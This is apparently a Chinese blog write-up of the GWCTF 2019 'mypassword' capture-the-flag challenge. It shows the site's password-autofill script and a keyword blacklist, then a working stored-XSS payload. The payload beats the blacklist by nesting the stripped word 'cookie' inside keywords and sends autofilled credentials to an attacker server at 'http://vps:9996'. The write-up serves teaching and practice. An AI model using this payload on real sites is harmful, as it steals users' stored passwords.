【GWCTF 2019】mypassword

本文最后更新于:2023年8月25日 下午

[GWCTF 2019]mypassword

主页发现js文件

image-20230707195042402
1
2
3
4
5
6
7
8
9
10
11
12
13
if (document.cookie && document.cookie != '') {
var cookies = document.cookie.split('; ');
var cookie = {};
for (var i = 0; i < cookies.length; i++) {
var arr = cookies[i].split('=');
var key = arr[0];
cookie[key] = arr[1];
}
if(typeof(cookie['user']) != "undefined" && typeof(cookie['psw']) != "undefined"){
document.getElementsByName("username")[0].value = cookie['user'];
document.getElementsByName("password")[0].value = cookie['psw'];
}
}

这个js文件是一个记住密码的功能,如果本地cookie已经存在账号密码,那么会自动填充

我们先注册登录进去:

image-20230707195247528

提示不是sql注入,在feedback中找到js源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
if(is_array($feedback)){
echo "<script>alert('反馈不合法');</script>";
return false;
}
$blacklist = ['_','\'','&','\\','#','%','input','script','iframe','host','onload','onerror','srcdoc','location','svg','form','img','src','getElement','document','cookie'];
foreach ($blacklist as $val) {
while(true){
if(stripos($feedback,$val) !== false){
$feedback = str_ireplace($val,"",$feedback);
}else{
break;
}
}
}

看起来是xss,过滤了特殊字符,将其替换为空,直接在里面插入关键词绕过即可:

例如:

1
inpscriptut  =>  input

这里我们会有一个思路,

可以在feedback中构造一个username、password输入框,然后使用js将服务器中的cookie中的值获取出来(需要引入开始的js文件),

等一定时间后,服务器会自动访问,flag外带到服务器上(每个关键字都要绕过)

1
2
3
4
5
6
7
8
9
<inpcookieut type="text" name="username"></inpcookieut>
<inpcookieut type="text" name="password"></inpcookieut>
<scricookiept scookierc="./js/login.js"></scricookiept>
<scricookiept>
var uname = documcookieent.getElemcookieentsByName("username")[0].value;
var passwd = documcookieent.getElemcookieentsByName("password")[0].value;
var res = uname + " " + passwd;
documcookieent.locacookietion="http://vps:9996/?a="+res;
</scricookiept>

一段时间后我们收到了flag

image-20230707201005934


【GWCTF 2019】mypassword
https://leekosss.github.io/2023/08/24/[GWCTF 2019]mypassword/
作者
leekos
发布于
2023年8月24日
更新于
2023年8月25日
许可协议